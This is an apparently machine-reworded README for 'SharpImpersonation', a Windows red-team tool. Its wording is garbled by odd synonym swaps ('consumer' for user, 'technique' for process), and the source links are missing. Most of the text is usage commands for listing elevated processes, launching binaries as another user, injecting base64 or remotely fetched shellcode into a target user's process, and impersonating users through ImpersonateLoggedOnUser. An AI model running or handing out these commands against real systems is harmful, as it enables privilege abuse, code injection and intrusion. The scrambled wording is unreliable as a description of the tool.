This was a studying by doing undertaking from my facet. Well-known methods are used to constructed simply one other impersonation device with some enhancements compared to different public instruments. The code base was taken from:
A weblog publish for the intruduction might be discovered right here:
Record consumer processes
PS > PS C:temp> SharpImpersonation.exe record
Record solely elevated processes
PS > PS C:temp> SharpImpersonation.exe record elevated
Impersonate the primary technique of the goal consumer to start out a brand new binary
PS > PS C:temp> SharpImpersonation.exe consumer:<consumer> binary:<binary-Path>
Inject base64 encoded shellcode into the primary technique of the goal consumer
PS > PS C:temp> SharpImpersonation.exe consumer:<consumer> shellcode:<base64shellcode>
Inject shellcode loaded from a webserver into the primary technique of the goal consumer
PS > PS C:temp> SharpImpersonation.exe consumer:<consumer> shellcode:<URL>
Impersonate the goal consumer through ImpersonateLoggedOnuser for the present session
PS > PS C:temp> SharpImpersonation.exe consumer:<consumer> method:ImpersonateLoggedOnuser